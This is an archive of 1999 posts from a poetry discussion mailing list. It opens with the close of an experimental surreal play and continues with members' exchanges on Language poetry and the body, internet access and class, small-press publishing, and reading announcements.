(thoughtfully) maybe there's a way out of this dump besides pills and booze and dope.

(alan) you don't think i should talk like that, nikuko, not before the big performance. it's not that. it's like this. i'll raise your leg, i'll wear perfume. just the kind he likes. you read it in comme des garcons.

(places perfume beneath her tutu) at the right moment, just then, i'll lure him in. this is your silver bullet. look out there, nothing but dust and tumbleweed. we can't even grow wheat, nothing. sheep would die. all we've got is ballet.

(alan) try it and you'll see. i can let yourself out as far as you'd like. i'm right behind you. stop smoking. someone might see you, then there's the odor.

(pauses) i sure am pretty tonight.

(nikuko) i'm in your best form, the ambassador's waiting for me at the door. i'm naked under the ruffles. he'll buy your freedom and maybe i'll buy yours.

(alan) what do i mean maybe.

(nikuko) i'm thinking you got to get as far from here as you can. the ambassador will take me with him. i'll have him naked before the ballet's over. one more pas de poisson, that's all it will take.

(pause) in the dance i'm being prepared to marry, a bride just before the ceremony. i'll comb your hair. i'll put your dress on, slowly, move your hands up your body. your body will shimmer and shudder.

(alan) just like a model.

(pause) i am a model. you're it, you're the it girl. i can't lose. have another drink; you hear horses outside.

(sounds of guns) the revolution is just a few miles away.

(nikuko) the parents congratulate me, your neighbors celebrate, your girl-friends am jealous, i'm getting married. you run your hands up and down your legs, in and out of me, i'm a virgin for all men, whore for one. the ambassador will see that, he'll appreciate it, he's a man of taste, he'll take me, it will be for the first time, it will be for the last. then there's the ceremony.

(shots heard nearer) then i'll.

(julu, off stage) oh god, the ambassador's dead, the whole province is rioting, there's no government, the capitol's looted, people am dying everywhere.

(nikuko) i'll dance the best dance of your career.

(intense, louder) i'll dance fiercely, intensely, the heavens will sway, god will come down and sit in the audience, i'll have god in the palm of your hand.

(alan) nikuko, nikuko.

(nikuko) i'm going now, alan, the ambassador's dead, only god can bring him back alive.

(sound of gunshots)

(alan) here's the stage and nikuko looks so beautiful, about to dance the most important dance of her life. sure enough, god is in the audience, only he can bring the ambassador back alive.

(cheering and applause) they're applauding now, a full house, we're raking in the money, god's there, front row center. nikuko's beginning her dance.

(applause) she's dancing beautifully, she's combing and binding and braid- ing her hair, then letting her long tresses flow down before god, she's dreaming about the ambassador.

(nikuko, dancing) dear god, please bring the ambassador back alive so he can help me out of this place, you can't stand the sagebrush, your legs get torn on barbed wire and cactus spines, there's nothing here but losers and prospectors, everyone else has moved away.

(nikuko's grand battement, she continues talking) look god, i can see up you, i can smell your deliberate scent, your perfume enraptures you, i forget you're creating and destroying worlds, you're salivating, you're erect, you can see my penis hardening in my pants, you're staring up me, i want me so bad. and look, i'm turning for you, over and over again, thirty -two turns in fact, turning for i god, most perfect pirouettes, your tutu flies out like a great wheel around your waste, i've made more worlds than i have, destroyed even more than i've made, and you still can't bring your ambassador back alive, oh god help me in this and i can look up your legs all i want.

(applause)

(god) my legs am so beautiful, nikuko, i'll do anything for you, i'll crawl on the ground of your own making for you, i'll strip naked for you, i'll strip everyone naked, wheel the galaxies out of the skies. i'll bring back my ambassador, resurrect him, he'll save you, he has heard so much about you, just from the rumors he's half in love with i already, who wouldn't love you, he's out there in the street, he's standing up, there's blood on his shirt, he's walking slowly to the theater, he's coming in the door.

(happens as said)

(nikuko) oh god thank you, hello your ambassador, i'll do anything for you, please save me, look, i'll dance the grand battement with perfect grace and style, look, i can see everything, i can have all of me all the time, take me away from this hellhole, there am dust devils all around, the dust gets in your hair, your mouth, your eyes, you can't see for the dust, can't hear for it; you can hardly pirouette in the fury of the wind and the heat of the sun of the noontime day.

(continues dancing for the ambassador) alan is watching in the wings, he gives me all his blessings in the whole world, he's fed me, drank with me, we've downed whiskey together, rolled in the dust and the fury of the flash flood mud together.

(ambassador) alan's perfect, god's a help, all's right with the world, i'm in love with i nikuko, i've always loved you, nikuko, i've heard every- thing about you, i surpass everything i've heard, you can't believe your good luck, you're more than a vision, my dancing is wonderful and new and innovate and perfectly traditional all at once, my smile lights up provin- ces in revolution, my flashing eyes warn guns to point the other way, god himself comes down to sit in the audience.

(pause, nikuko) look, i'm dancing more for you, i'm turning, twisting, i'm doing the pas de poisson by myself, a perfect cabriole, no one but me can do it, i'm eternally suspended, i'm up in the winds and the sky.

(applause) ambassador, everyone loves us, everyone wants us together, you'll take me from your dreary motel, we'll get away from the revolution, we'll be happy.

(nikuko) we'll be happy, i'll take my tutu off for you, my slippers off for you, i'll dance for you naked, i'll dance for you with tutu and slippers, i'll dance with god himself, you'll be my god, ambassador, you've saved my life.

(ambassador) i'll save you, nikuko, and i'll save you too, alan, and i'll take you away from this desolate region where no one lives, where the winds and coyote howl, where the day is dreary, always dreary, i'll take you with me and you'll live in a fine house with me and dance and drink with me, and smoke and lie with me, we'll make love all day long, you can wear your tutu with the perfect ruffles, you can wear your tiera, i will be yours forever, nikuko.

(pauses) and alan, you can write in my library and read in my library, which is the largest library in the world, and you will gain in knowledge and strength, with a full diet.

(bows and pauses)

(alan and nikuko) we thank you ambassador, and above all

(smiling) we thank god.

(dance ends) and we are very happy, more than almost any people in the whole world, almost as happy as the ambassador.

↑ Index

57. **Nada Gordon**
Re: Poetic Culture
Tue 2 Nov 1999

---

this is interesting, jacques ... a couple of comments ...

> *As I've started to do (incompletely & inadequately) in a recent article in ARSHILE, I am interested in articulating the problem of registering & mediating the body within artistic production--particularly as this was addressed by the New York Poets and by the Cage, Johns, Rauschenberg circle. Language Poetry, interestingly enough, begins as a reaction against the emphasis the New Americans had placed on the physical body in relation to the poetic line and moves instead, of course, toward a self-reflexive preoccupation with the mediation of inner experience by language. Watten explains this move away from the body as a response to the Vietnam conflict, "the era of napalm," etc. But the Language Poets' critique is aimed, not at the most "advanced" considerations of the body, but at Olson, who improperly essentialized the body as the ground & meaning of his work.*

do you mean 'improperly' from the point of view of "the language puritans"?
or improper, period? and if so, why?
in any case a provocative modifier here.

Cage & the
>others are, by contrast, concerned with questions, anxieties, & fantasies
>concerning the body that are significantly different from Olson's (& I would
>argue interesting relevant in the current context (questions concerning
>gender identification, etc.) & never adequately "followed up"). Beach's
>dismissal (in his "Conclusion") of the *erotic* as it manifests itself in
>post language exp writing (as opposed to his validation of the
>"multicultural") only perpetuates the Language Poets's suppresion of the
>physical body in their work (the body is an obstacle to be overcome) and the
>problems the body "raises (arouses)" [Helen Molesworth]. Of course this
>suppression was only incomplete--Hannah Weiner, & Leslie Scalapino, for
>example, seem to me to be important exceptions.

what about alan davies/ carla harryman/ steve benson/ johanna drucker/ and (at ejaculatory moments) ron silliman?

or coolidge (tho you may not count him as a language poet)

nada

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58. Mark Prejsnar
Debrot vs. the confederation
Tue 2 Nov 1999

> *It is wonderful, of course, to know 4 or 5 people with whom you share a passionate mutual interest, particularly if you feel this enthusiasm is stigmatized in some way by those outside your own immediate circle of friends. But seeing the tag "APG" turning up lately with increasing frequency, I can't help feeling, Mark, John, and Randy, that your "confederation" (if it hasn't already crossed over the line) is threatening to become unintentionally parodic.*

****

Not sure what this is meant to signify..... The group meets once a week; (has never met on friday...) It was first a circle that read recent work to each other, critiqued it, etc. More recently there are some collective projects, such as a couple of upcoming special issues of mags.... *anyone* with the ability to read, can see that there is no "house style" : we just are all reasonably serious about writing, and all live in @lanta... Take a look at the 9 last poets in the "experimental" section of the current New Orleans Review, Jacques: we ain't gonna take over the world, with one particular agenda, because there is huge diversity..... At least that's my perception.....

Various groupings of us have at times done collaborative writing...Like large numbers of people on the US poetry scene in the last 15 years; like a large # of people who i know on the list. That is one of the more liberating and stimulating directions in the poetry world.

So what's yer beef? i don't think it very clear to anyone...You seem to be saying that only the Great Romantic Individual should be heard of, on the poetry scene... Your strange post sounds like the attacks on langpo in the 1970s and 1980s, which often reflected resentment of any group that of poets that would dare to suggest they had a group identity of an sort. Ours is very loose indeed....

mark

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59. Josh May
(no subject)
Tue 2 Nov 1999

---

hi, im a loser and since i know nothing cant really
say much about what you are talking about, but is your
group a qua group. "confederation" "assurances", what

are these things but so much hulabaloo. i for one cant
take it seriously

on another note cheryl crow is being killed. they
fault her for seeming to try to hard by seeming to try
to little.

Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

↑ Index

60. Lowther, John
giveaway time
Tue 2 Nov 1999

{ p o e t i x }

o.k. folks
thanx for all the messages
i've met and surpassed the 10
so the giveaway is over now

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61. Kathy Lou Schultz
Re: Business, class, access
Tue 2 Nov 1999

David Baratier:
There are many publishers outside & on this list who do not
>use the perpetual victim stance or "have not" status you are attributing
>to the lower classes

KL: Question: How does bringing the power of analysis to bear on a situation, speaking out about it, and producing works in response to it constitute being a "victim"?

^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

> *From: David Baratier* <[redacted]>
> *To:* [redacted]

> *Subject: Re: Business, class, access*
> *Date: Sat, Oct 30, 1999, 5:55 PM*
>
> *Who says poetry magazines and presses are money losing ventures? Without intelligent planning, in terms of a regular business, I suppose they might be.*
>
> *As for running a magazine as an aspect of "class structure" this editor started out on unemployment and used the wages to publish books and magazines. There are many publishers outside & on this list who do not use the perpetual victim stance or "have not" status you are attributing to the lower classes. I would like the dope on how I can use my editorship to get ahead, though. Also interested in a clarification or quantification of ways this manifests beyond talking with and meeting some fine writers.*
>
> *Be well*
>
> *David Baratier*

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62. Taylor Brady
Request for Information
Tue 2 Nov 1999

Does anyone on the list have a report on yesterday's federal court ruling in the Brooklyn Museum of Art lawsuit? The SF Comical ran a kind of spotty piece from the Boston Globe... Say what I might about the Times, their reporters do tend at least to show up for stories involving locales other than the two Big Valleys - Napa and Silicon. Then again, free wine and a chance to rub elbows with charismatic twenty-something "maverick capitalists" is QUITE an incentive to stay close to home...

Waiting for the silicon to turn back to sand and start a-tricklin' down, Taylor

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63. Lowther, John
Body in Artistic Prod. (was "Poetic Culture")
Tue 2 Nov 1999

{ p o e t i x }

jacques debrot writes;

"I am interested in articulating the problem of registering & mediating the body within artistic production--particularly as this was addressed by the New York

Poets and by the Cage, Johns, Rauschenberg circle. Language Poetry, interestingly enough, begins as a reaction against the emphasis the New Americans had placed on the physical body in relation to the poetic line and moves instead, of course, toward a self-reflexive preoccupation with the mediation of inner experience by language."

and that's all pretty interesting stuff i think
i mean it's something of an over simplification
to say that the dreaded L-group "begins as a
reaction" --- presumably with I HATE SPEECH
by which i mean that it seems like there either
is no beginning so tidy or that there are too many
beginning to really nail it down this way, but i
do understand the need of any study to start
someplace, and this is an interesting angle,
& one i've not seen followed before

still i'm uncertain how far some of this
can be pushed --- jacques continues "But the
> Language Poets' critique is aimed, not at the most
> "advanced" considerations of the body, but at Olson,
> who improperly essentialized the body as the ground
> & meaning of his work." and besides being skeptical
that jacques or anyone cd really know what *are*
the most "advance" considerations of the body
--- to me, it seems, perhaps overly pragmatically,
that what is or is not "advanced" is judged according to
someone's needs, in this instance jacques needs for
a way to lever into or under the langpo position on
the body-poetic vis-a-vis olson --- and that's fine but
it doesnt, in retrospective fashion require anything of
these L-group at all really ---- i mean i wonder why it was
that pound didnt see the brilliance of stein but that he
didnt concur with me doesnt really give me too much leverage

there are certainly interesting things about the body in
relation to poetics that wd be interesting to see explored
i've been hearing about a new book by lakoff and.. ahh..
i forget the other name, it's called something like _philosophy
and the flesh_ there is also an older book, something of
a textbook actually, called _the body and society_ by brian
turner ...i believe, another good body book is _the senses
considered as perceptual systems_ by j.g.gibson (which

is pretty amazing really) --- there are some others
that i can't think of right now

but what i wanted to say about a poetics which didnt exclude the body is that, for me, it wd be more interesting to see not how the langpos are supposed to have voided this idea, but how they've dealt with it ---- that is scalapino and weiner as you (jacques) mention do involve the body and i think that if you look into a bit more you 'll find that the body is not absent in ted greenwald (_word of mouth_ anyone) and that inspite of i hate speech that grenier's work (_series_ perhaps and certainly his 4 color ink poems carry along with them the body as motor of the scrawl) ---- i also can't help but think of silliman as embodied on a bus someplace looking out the window taking it down in sentences

those that make statements like the one you cited by watten
make for interesting comparison, but my hunch wd be that
a more revealing study of him in particular wd illustrate the ways
that his own embodiment isnt something that he can write
around or void by act of will

but back to the thread, jacques continues;

"Cage & the others are, by contrast, concerned with questions, anxieties, & fantasies concerning the body that are significantly different from Olson's (& I would argue interesting relevant in the current context (questions concerning
> gender identification, etc.) & never adequately "followed up")."
>
while there is certainly a big difference
between cage and olson i'm not yet convinced
that he's "concerned with questions, anxieties
& fantasies concerning the body" --- unless we're
talking about the centeredness that one wd have
to hear one's nerves in operation and blood in circulation
as i've never seen much evidence to suggest that he is
particularly concerned with the body --- the "others"
are such a varied group i'm not sure what to make
of them conceptually yoked in this way
but again i wd think that a body poetic cd be articulated
that wd be revealing when applied to any of these folks
for a study of this kind to be concerned with what can be
illuminated and not with painting anyone as a denial of
the body

i guess as i'm not involved in much ballad stanza
and rhyme and don't tell stories of my life on the range

real or imagined, but i don't think its that meaningful
to say that i'm denying my inner cowboy poet ---- it's
simply not which direction i'm pointed in

and to return briefly to a bit earlier on which passed
initially without comment, jacques wrote of the L-group
orientation that it was; "a self-reflexive preoccupation
with the mediation of inner experience by language"
and i think that while this may very well be how some
of them think about it ---- i distrust interiority as a model
almost as i distrust it as a presumption ---- perhaps i am
alone in this ? --- anyway, i feel that the one of the things
that i respond to in the L-group and in language art generally
is the exteriority of it as thought, act, etc ---- it's not that
say bruce andrews doesnt have a body or self or whatever
but that as with all things any of us know (even andrews)
we know these out there --- in the exterior, i am convinced,
much more than in any interior

following peirce "it's not that thoughts are in us, but that we are in thought"

just as the dancer is "in motion"

)ohn

↑ Index

64. Dodie Bellamy

Local Howler

Tue 2 Nov 1999

Hi all, I'm the Local Howler (poet of the month) in Sarah Rosenthal's wonderful series at the SF Bay Area CitySearch site:

http://www.citysearch7.com

Check out the Local Howler archives for her pieces on other Bay Area poets. Who says the avant-garde can't be presented to the masses?

Sarah should get a metal for poetic community service.

Dodie

↑ Index

65. George Bowering
Re: Harry Mathews -- early poems
Tue 2 Nov 1999

I have Mathews's 50's poetry in _Armenian Papers_, Princeton U., 1987, I think.

--Bowering

↑ Index

66. Al Filreis
Harry Mathews -- early poems
Tue 2 Nov 1999

Friends,

I'm looking for the very earliest poetry of Harry Mathews. The novel _Conversions_ was published in 1962. _Burning Deck_ was I think the first published book of poems (1974). But where, if anywhere, might I find poems Mathews wrote in the 1950s? In _Locus Solus_ (1960-62)?

You can write me directly at [redacted].

Thanks so much.

--Al Filreis

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67. Dean Taciuch
(Technology) RE: miekal and dobyns and etc.
Tue 2 Nov 1999

On Mon, 1 Nov 1999, Tom Beckett wrote:

> *Electronically mediated language seems increasingly problematic to me. The instability of the digital page millitates against reflection. Databases break down privacy and become the building blocks of new commercial /governmental tyrannies . Give me a stack of books over a pile of floppys any day.*
>
> *PS: library access to computers is still relatively limited in time and scope. Your original post spoke of computers as an alternative means of literary distribution. You're not typically gonna be able to run a webpage from a library terminal. And a lot of libraries won't let you do e-mail (unless say it is a college library and you have an account--are student or staff). That leaves a lot of folks out, Miekal. And the division between haves and have- nots is pretty much along class and racial lines. What a surprise.*

> *TB*

I've heard this argument before, and it's beginning to lose its power. It isn't only a matter of cost--that is a genuine concern, yes, but as costs go down, access will become increasingly available. But, and this is closer to my own feelings on this, electronic media are actually new media and as such need to be used in new ways, to new ends etc etc.

Consider the technology of the book. As Miekal has pointed out, they too cost money. But they too were once a new medium, one which only the wealthy or well-connected had access to. I can imagine an argument being made (by, perhaps, an oral bard) that one shouldn't waste too much time or effort working in this new medium, as most of the populace couldn't read nor did they access to books except in monasteries, etc. But it was important to develop the art and technology of the book, despite the obvious class restrictions, just as it important today to develop the art and technology of electronic media, despite the obvious etc. . .

--Dean

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68. geraldine mckenzie
Re: Boxkite-Naylor / Smith
Tue 2 Nov 1999

> *From: Poetics List Administration <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Boxkite-Naylor / Smith*
> *Date: Mon, 1 Nov 1999 16:14:13 -0500*
>
> *This message came to the administrative account. Chris*
>
> --
>
> *From: [redacted]*
> *Date: 11/1/99, 3:49 PM +0000*
>
> *Could someone tell me how to get in touch w/ the magazine, Boxkite? I'm trying to get a copy of Paul Naylor's piece on _Whatsaid Serif_.*
>
> *thanks,*
> *charles*

You can reach the editor, James Taylor, on [redacted] Boxkite#3 should be out by the end of the year and next year, hopefully, will see two editions, lesser in size

than the current issue. Geraldine McKenzie Perhaps this is a good time to say (only got on the list a couple of weeks ago) that I'm a contributing editor for this journal (as of this year) and am keen to make contact with likely poets who've not already appeared in Boxkite. Whilst I've approached a few people, I'm restricted by limited access to American print journals plus my own ignorance (comparatively new to contemporary poetry) (trying to make up for lost time but..). Anyone interested in making contact - my postal address is 39 Plateau Rd., Springwood NSW 2777 Australia

_____
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↑ Index

69. **pete spence**
Re: Regionalism; Provincialism
Tue 2 Nov 1999

>
it does appear that, the further one gets from the active
>centers, the more sunday painters one encounters. And by sunday painters I
>mean poets who write in the style of former eras __w/o knowing thats what
>they're doing___ .
>
>Back in 3 weeks. David

mr bromide!! take one!!!doesn't matter what part of the globe you are centered it don't need to have a city center imported to write well, this stuff above is plain pedantry//pete spence

_____
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70. **pete spence**
Re: internet costs
Tue 2 Nov 1999

> *re Miekal & Tom on costs -- I paid 2pounds sterling + 50 p for 1/2 hour in a public library in London in October, 1 pound +50 p for 1/4 hr in a cybercafe in London, & $39.95 NZ = about $20 US per month to run internet at*
> *home*
>
> *Tony Green*

Tony thats sad, service here at our library in ocean grove australia is free as long as you are a library card holder, the library card is free as long as you are a resident in the area//pete spence

_____
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↑ Index

71. **pete spence**
Re: Business, class, access
Tue 2 Nov 1999

I would like the dope on how I can use my
> >editorship to get ahead, though> >Be well
> >
> >David Baratier
>
get ahead of what!!or get a head??/pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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72. **George Bowering**
Re: Treat Your Trick!! Poetry @ BORDERS, Mon., Oct. 25: A-A WIGHT & ML POLAK
Tue 2 Nov 1999

> *On Tue, 19 Oct 1999, George Bowering wrote:*
>
> *I have been to 1727 Walnut Street, just yesterday, and it is a pure residential street, no book stores there at all.*
>
> *poetry at borders*
> *1727 walnut street*
> *monday, october 25, at 7:30 sharp*
>
> *Must be thinking of the wrong city. This is the address of the Borders in Philadelphia. --Judy*

Oh, was that a test?

George Bowering.

,

fax: [redacted]

↑ Index

73. George Bowering
Re: name that quote?
Tue 2 Nov 1999

> *Hello Poetics,*
> *Another one of my damnable queries. Does anyone recognize the author/source of the following?*
>
> *"A dominant ideological formation is constituted by a relatively coherent set of 'discourses' of values, representations and beliefs which, realised in certain material apparatuses and related to the structures of material production, so reflect the experiential relations of individual subjects to their social conditions as to guarantee those misperceptions of the 'real' which contribute to the reproduction of the dominant social relations" (54).*

I dont know, but it is obviously a satirical jab at contemporary critical jargon.

George Bowering.

,

fax: [redacted]

↑ Index

74. George Bowering
Re: HIGHWIRE READING
Tue 2 Nov 1999

> *M A R K W A L L A C E*
>
> *A. V. C H R I S T I E*
>
> *(ooooh...scary*
>
> *Saturday, Oct. 30, 3PM*
> *<<<<Halloween reading<<<< Come in costume*
> *Highwire Gallery, 139 N. 2nd St.*

Damn! I could not find the place. The only city within driving distance that has a 2nd St. is New Westminster, and that is mainly made up of river boats and stuff.

George Bowering.

,

fax: [redacted]

↑ Index

75. miekal and
Re: miekal and dobyns and etc.
Tue 2 Nov 1999

BUT BUT BUT BUT BUT BUT BUT BUT BUT BUT BUT BUT BUT BUT
TOM TOM TOM TOM TOM TOM TOM TOM TOM TOM TOM TOM TOM TOM
ITS ITS ITS ITS ITS EACH ITS OWN ITS ITS ITS ITS ITS ITS
NOT NOT NOT NOT NOT NOT NOT NOT NOT NOT NOT NOT NOT NOT
ONE OR THE OTHER ONE OR THE OTHER ONE OR THE OTHER

mIEKAL

_____
5 EYE CAT AUDIO-HYPNOSIS
http://net22.com/qazingulaza/cybele/avatar/her-song.html

↑ Index

76. Max Winter
Re: go ahead and spend the money
Tue 2 Nov 1999

Josh,

they are ersatz. in the bunker it was thought that all
were asleep. more que than qua. leastways this is what
this cowboy.

opie said to the miltown, "blessed dunces, where are
their poke hats? and it is blustery in Peekskill.

you think you have to lose?

--- Josh May <[redacted]> wrote:
> hi, im a loser and since i know nothing cant really
> say much about what you are talking about, but is
> your
> group a qua group. "confederation" "assurances",
> what
> are these things but so much hulabaloo. i for one
> cant
> take it seriously
>
> on another note cheryl crow is being killed. they
> fault her for seeming to try to hard by seeming to
> try

> to little.
> _____
> Do You Yahoo!?
> Bid and sell for free at http://auctions.yahoo.com
>

=====

_____
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

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77. Thomas Bell

Re: Body in Artistic Prod. (was "Poetic Culture")

Wed 3 Nov 1999

Mention of Grenier's 'scrawling' brings to my hand writing others that work with gesture and HANDWRITING - Whalen and Apollinaire come to mind and in particular Drucker's work, e.g. http://www.granarybooks.com/newbooks/drucker3/drucker3.4.html is certainly relevant

"Lowther, John" wrote:
>

> *of i hate speech that grenier's work (_series_ perhaps and*
> *certainly his 4 color ink poems carry along with them the body*
> *as motor of the scrawl) ---- i also can't help but think*
> *of silliman as embodied on a bus someplace looking out the*
> *window taking it down in sentences*

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

78. **Mills, Billy**

Re: POETICS Digest - 1 Nov 1999 to 2 Nov 1999 (#1999-206)

Wed 3 Nov 1999

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

Just want to state my agreement with Tom Beckett on this. Internet and e-mail are emphatically _not_ democratic media. They are exclusionist. The poor are, as Tom notes, once again the excluded.

Tom's point about electronic media militating against reflective habits of reading is also key. In fact, those subcultural groups that have so enthusiastically embraced the e-zone seem to have suspended their reflective attitudes in general. Electronic commerce is the future of capitalism, and those websites devoted to such marginal activities as the publication of 'innovative' poetries will be just as marginal in the virtual world as existing small press publishers are in the real one.

Don't kid yourselves. The revolution will not be netcast. Oh, and books are not about to die.

Billy

PS My spellchecker wants to change webcast to nutcase. Who says machines are not intelligent?

> *Date: Mon, 1 Nov 1999 22:57:01 EST*
> *From: Tom Beckett <[redacted]>*
> *Subject: miekal and dobyns and etc.*
>
> *Electronically mediated language seems increasingly*
> *problematic to me. The*
> *instability of the digital page millitates against*
> *reflection. Databases*
> *break down privacy and become the building blocks of new commercial*
> */governmental tyrannies . Give me a stack of books over a*
> *pile of floppys*
> *any day.*
>
> *PS: library access to computers is still relatively limited*
> *in time and*
> *scope. Your original post spoke of computers as an*
> *alternative means of*
> *literary distribution. You're not typically gonna be able to*
> *run a webpage*
> *from a library terminal. And a lot of libraries won't let*
> *you do e-mail*
> *(unless say it is a college library and you have an*

> *account--are student or*
> *staff). That leaves a lot of folks out, Miekal. And the*
> *division between*
> *haves and have- nots is pretty much along class and racial*
> *lines. What a*
> *surprise.*
>
> *TB*

↑ Index

79. MAXINE CHERNOFF
Address
Wed 3 Nov 1999

Could someone give me the correct mailing address and email (if he has it) for Clark Coolidge?

Thanks--

Maxine Chernoff

↑ Index

80. Stephen Ellis
Re: miekal and dobyns and etc.
Wed 3 Nov 1999

Virtual networking seems primarily a situation of having one's cake and eating it too, in which being eaten by it (ie., you gain a presumably distinct identity within a group of blanks, who read you also, from their perspective, as equally blank) as well hasn't come into consciousness. While it's convenient to be able to have one's ideas heard without having to leave the comfort of whatever room it is in which one gawks at the silent screen, it's also isolating in that one no longer need go out to rub elbows, hips and foreheads, or play footsies with, those whose literal presence affords a simple and perpetual kind of "correction" against presuming an authority in terms of one's own eminently (in)visible network group, that being based on an increasing absence of literal "stuff." Perhaps questions of "audience" are related to this absence,

"audience" as projection or imagination of those who "may be" taking in whatever's on the net, yet whose identity is often as "virtual" as the electronic carrier that resembles, yet can never be more than "like", certain aspects of the human nervous system. What's the nature of the "hit" one gets from this kind of projection? Does it have to do with access to sheer number, say, of "possible readers"?

I've always thought the smallness of poetry's audience was an advantage, in that it is fairly easy to get to know those with whom one may share certain affinities - those who read you, and/or who you read (locals!) - wch might then be the basis of a group whose inter-relationships would be something other than virtual and distant, and not so set on closing a gap that - with respect to getting and being together literally - doesn't really exist. In this, one ends up having the pleasure of actual co-conspirators with whom one may plot considerable intrigues with and/or insurrections against, one's own nation, town, neighborhood, relatives, fellow travelers, and self, this latter, cemented so completely into a perpetually "responsible" place, the one "position" one needs more literal help removing themselves from than any other. Perhaps

the pap one's fed daily by those not literally present, who nevertheless are anxious to provide terms through which to apprehend the singularity of the present in rather generic ways, has much to do with why more kids aren't throwing more rocks at more cops (now THAT'S "audience" ...). Not that this is an exemplary activity, but isn't it superior to festering in the shadows of what seems little more than the Twilight of the Idiots? Or

since poetry seems to be increasingly thought a business enterprise, we might do well to characterize certain of its ins and outs in a language set mostly to market trends: "The dollar's quick pullback demonstrates the market's inability to focus on solid economic fundamentals in the U.S. as long as the stock market remains pressured." The dearth of fundamentals under rising pressure to BE "fundamental" sounds about right from here. - S E

> *From: Tom Beckett <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: miekal and dobyns and etc.*
> *Date: Mon, 1 Nov 1999 22:57:01 EST*
>
> *Electronically mediated language seems increasingly problematic to me. The instability of the digital page millitates against reflection. Databases break down privacy and become the building blocks of new commercial /governmental tyrannies . Give me a stack of books over a pile of floppys any day.*
>
> *PS: library access to computers is still relatively limited in time and scope. Your original post spoke of computers as an alternative means of literary distribution. You're not typically gonna be able to run a webpage from a library terminal. And a lot of libraries won't let you do e-mail (unless say it is a college library and you have an account--are student or staff). That leaves a lot of folks out, Miekal. And the division between haves and have- nots is pretty much along class and racial lines. What a surprise.*

> *TB*

Get Your Private, Free Email at http://www.hotmail.com

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81. Katie Degentesh
TELL EVERYONE YOU KNOW
Wed 3 Nov 1999

Friends, San Franciscans, Etc.:

I'll be reading from new work at the Paradise Lounge (11th and Folsom) at 8 pm this coming Sunday, November 7th. My partner in crime for the evening is the poet Alex Green, whose work will be featured in the upcoming second issue of 9x9's <italic>6,500</italic> (this issue, by the way, is scheduled to make its debut in NYC near the end of January 2000).

Due to the rolling over of the millenial odometer, January 2000 still sounds like a long way away. Please don't try to go that long without poetry -- you might hurt yourself. Stop by the Paradise:

8 PM, SUNDAY, NOVEMBER 7TH.

Katie

↑ Index

82. Lowther, John
Van Gogh Talks chapbook from 3rdness
Wed 3 Nov 1999

{ p o e t i x }

i've just pick up Randy's Prunty's 1st chapbook
from the printer's, _Van Gogh Talks_

anyone interested to purchase a copy should
send $6 to)ohnLowther @ 2996 Hermance Dr. NE,
Atlanta GA 30319

this is the 2nd chapbook from 3rdness, the 1st
is _Burning Flags_ by Mark Prejsnar

↑ Index

83. Joe Amato
viet nam poetry question...
Wed 3 Nov 1999

---

anyone out there (kali?) can tell me the title/author of the (c. 1970) poem with the refrain "tell me lies about vietnam"? (i think the latter is the title in fact, and i believe it's a british author)...

backchannel, please, and if someone can point me in the direction of the text of said poem, that'd be swell...

thanx!...

best,

joe

↑ Index

84. Jerrold Shiroma
small press list @ duration
Wed 3 Nov 1999

Seems as if this weeks list is going to be a small one (nonexistent in fact). Last call for any publishers out there who wish to have their publications listed this week. Deadline is Friday night / Saturday morning, for Sat evening posting.

Send all information (titles, prices, authors, contact / ordering info, etc.) to
[redacted]

↑ Index

85. kathylou
Some stats on Web usage
Wed 3 Nov 1999

Region / Internet Users (in millions)
United States, Canada 107.3
Europe 46.4
Asia/Pacific* 33.6
Latin America 5.3
Africa 1.7
Middle East 0.9

*Includes Australia and New Zealand

Source: Red Herring magazine, December 1999
> Just want to state my agreement with Tom Beckett on this. Internet and
> e-mail are emphatically _not_ democratic media. They are exclusionist. The

> poor are, as Tom notes, once again the excluded.
>
> Tom's point about electronic media militating against reflective habits of
> reading is also key. In fact, those subcultural groups that have so
> enthusiastically embraced the e-zone seem to have suspended their reflective
> attitudes in general. Electronic commerce is the future of capitalism, and
> those websites devoted to such marginal activities as the publication of
> 'innovative' poetries will be just as marginal in the virtual world as
> existing small press publishers are in the real one.
>
> Don't kid yourselves. The revolution will not be netcast. Oh, and books are
> not about to die.
>
> Billy
>
> PS My spellchecker wants to change webcast to nutcase. Who says machines
are
> not intelligent?
>
>
> > Date: Mon, 1 Nov 1999 22:57:01 EST
> > From: Tom Beckett <[redacted]>
> > Subject: miekal and dobyns and etc.
> >
> > Electronically mediated language seems increasingly
> > problematic to me. The
> > instability of the digital page millitates against
> > reflection. Databases
> > break down privacy and become the building blocks of new commercial
> > /governmental tyrannies . Give me a stack of books over a
> > pile of floppys
> > any day.
> >
> > PS: library access to computers is still relatively limited
> > in time and
> > scope. Your original post spoke of computers as an
> > alternative means of
> > literary distribution. You're not typically gonna be able to
> > run a webpage
> > from a library terminal. And a lot of libraries won't let
> > you do e-mail
> > (unless say it is a college library and you have an

> > account--are student or
> > staff). That leaves a lot of folks out, Miekal. And the
> > division between
> > haves and have- nots is pretty much along class and racial
> > lines. What a
> > surprise.
> >
> > TB
> >

↑ Index

86. Tony Green
Re: internet costs
Wed 3 Nov 1999

I'll check out NZ public libraries & let you know the results

best Tony Green
From: pete spence <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, 4 November 1999 11:28
Subject: Re: internet costs

>>
>>re Miekal & Tom on costs -- I paid 2pounds sterling + 50 p for 1/2 hour
in
>>a public library in London in October, 1 pound +50 p for 1/4 hr in a
>>cybercafe in London, & $39.95 NZ = about $20 US per month to run
internet
>>at
>>home
>>
>>Tony Green
>
>Tony
>thats sad, service here at our library in ocean grove australia is free as
>long as you are a library card holder, the library card is free as long as
>you are a resident in the area//pete spence
>
>_____
